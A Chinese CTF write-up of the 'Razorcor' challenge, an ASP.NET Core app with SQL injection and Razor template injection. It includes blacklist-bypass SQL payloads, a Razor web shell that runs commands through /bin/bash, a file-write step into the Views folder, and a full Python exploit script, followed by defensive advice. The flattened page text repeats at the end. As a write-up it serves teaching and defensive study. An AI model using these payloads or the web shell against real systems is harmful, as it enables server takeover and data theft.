第十八届软件系统安全赛攻防赛半决赛-Razorcor Writeup
字数 686 2025-08-30 06:50:28

Razorcor 漏洞分析与利用教学文档

漏洞概述

本教学文档详细分析第十八届软件系统安全赛攻防赛半决赛中的 Razorcor 题目,这是一个基于 ASP.NET Core 的 Web 应用程序,存在 SQL 注入和 Razor 模板注入漏洞,最终可导致远程代码执行(RCE)。

漏洞分析

1. 登录功能 SQL 注入漏洞

漏洞位置:登录功能中的 SQL 查询语句使用了字符串拼接:

MySqlCommand mySqlCommand = new MySqlCommand(
    "select username from userlist where username='" + username + 
    "'and password='" + password + "'", 
    mySqlConnection);

黑名单过滤机制

private static readonly List<string> BlacklistKeywords = new List<string>(){
    "select", "insert", "update", "delete", "alter", "benchmark", 
    "or", "and", "--", "'", "\"", "/*", "*/", "set", "0x", "do", "case", "when"
};

public static bool IsSqlInjection(string input) {
    input = input.ToLower();
    foreach (string blacklistKeyword in HomeController.BlacklistKeywords) {
        if (Regex.IsMatch(input, Regex.Escape(blacklistKeyword), RegexOptions.IgnoreCase)) {
            Console.WriteLine(blacklistKeyword);
            return true;
        }
    }
    return false;
}

2. Razor 模板注入漏洞

渲染逻辑

  • 只有用户名为 "dartroot" 才能访问 Index 路由进行模板渲染
  • 渲染功能允许指定文件进行渲染

漏洞利用步骤

1. 绕过 SQL 注入防护

绕过方法

  • 使用反斜杠(\)转义 username 后的单引号:
    username='\'and password='...'
    
  • 使用 replace 关键字或 prepare + hex 编码绕过关键词过滤

2. 插入 dartroot 用户

Payload 构造

username = "\\"
password = ";replace into userlist values (concat(char(100),char(97),char(114),char(116),char(114),char(111),char(111),char(116)), concat(char(49),char(50),char(51)));#"

3. 写入恶意 Razor 模板

恶意模板内容

@{
    var cmd = Context.Request.Query["cmd"];
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo.FileName = "/bin/bash";
    p.StartInfo.Arguments = $"-c {cmd}";
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.CreateNoWindow = true;
    p.Start();
    var stdout = p.StandardOutput.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");
    var stderr = p.StandardError.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");
    p.WaitForExit();
}
<pre>@stdout</pre>
<pre style="color: red">@stderr</pre>

写入方法

write_file = "select unhex(\"恶意模板的hex编码\") into outfile \"/app/Views/Home/shell.cshtml\""
password = ";prepare exp from concat(char(...));execute exp;#"

4. 触发 RCE

  1. 使用 dartroot 用户登录
  2. 访问 /?inform=shell&cmd=cat /flag 执行命令

完整 EXP

import urllib.parse
import requests
import html

def strtochr(string):
    tmp = ",".join(f"chr({ord(i)})" for i in string)
    res = f"concat({tmp})"
    return res

s = requests.Session()
target = "http://127.0.0.1"

# 插入dartroot用户
username = "\\"
password = f";replace into userlist values ({strtochr('dartroot')}, {strtochr('123')});#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)

# 写入恶意模板
shell = '@{var cmd = Context.Request.Query["cmd"];System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "/bin/bash";p.StartInfo.Arguments = $"-c {cmd}";p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.UseShellExecute = false;p.StartInfo.CreateNoWindow = true;p.Start();var stdout = p.StandardOutput.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");var stderr = p.StandardError.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");p.WaitForExit();}<pre>@stdout</pre><pre style="color: red">@stderr</pre>'.encode()
write_file = f"select unhex(\"{shell.hex()}\") into outfile \"/app/Views/Home/shell.cshtml\""
password = f";prepare exp from {strtochr(write_file)};execute exp;#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)

# 登录dartroot用户
payload = "username=dartroot&password=123"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)

# 执行命令
cmd = "\"cat /flag\""
res = s.get(url=target + f"?inform=shell&cmd={cmd}").text
print(html.unescape(res[res.index("<pre>")+5:res.index("</pre>")]))

防御建议

  1. SQL 注入防御

    • 使用参数化查询而非字符串拼接
    • 避免使用黑名单过滤,采用白名单验证输入
  2. 模板注入防御

    • 限制模板渲染的文件路径
    • 禁用动态模板渲染功能
    • 对模板内容进行严格审查
  3. 权限控制

    • 限制数据库用户的文件写入权限
    • 设置合理的 secure_file_priv 值

环境获取

测试环境可通过 Docker 获取:

docker pull zeroc0077/razorcor:latest
Razorcor 漏洞分析与利用教学文档 漏洞概述 本教学文档详细分析第十八届软件系统安全赛攻防赛半决赛中的 Razorcor 题目,这是一个基于 ASP.NET Core 的 Web 应用程序,存在 SQL 注入和 Razor 模板注入漏洞,最终可导致远程代码执行(RCE)。 漏洞分析 1. 登录功能 SQL 注入漏洞 漏洞位置 :登录功能中的 SQL 查询语句使用了字符串拼接: 黑名单过滤机制 : 2. Razor 模板注入漏洞 渲染逻辑 : 只有用户名为 "dartroot" 才能访问 Index 路由进行模板渲染 渲染功能允许指定文件进行渲染 漏洞利用步骤 1. 绕过 SQL 注入防护 绕过方法 : 使用反斜杠( \ )转义 username 后的单引号: 使用 replace 关键字或 prepare + hex 编码绕过关键词过滤 2. 插入 dartroot 用户 Payload 构造 : 3. 写入恶意 Razor 模板 恶意模板内容 : 写入方法 : 4. 触发 RCE 使用 dartroot 用户登录 访问 /?inform=shell&cmd=cat /flag 执行命令 完整 EXP 防御建议 SQL 注入防御 : 使用参数化查询而非字符串拼接 避免使用黑名单过滤,采用白名单验证输入 模板注入防御 : 限制模板渲染的文件路径 禁用动态模板渲染功能 对模板内容进行严格审查 权限控制 : 限制数据库用户的文件写入权限 设置合理的 secure_ file_ priv 值 环境获取 测试环境可通过 Docker 获取: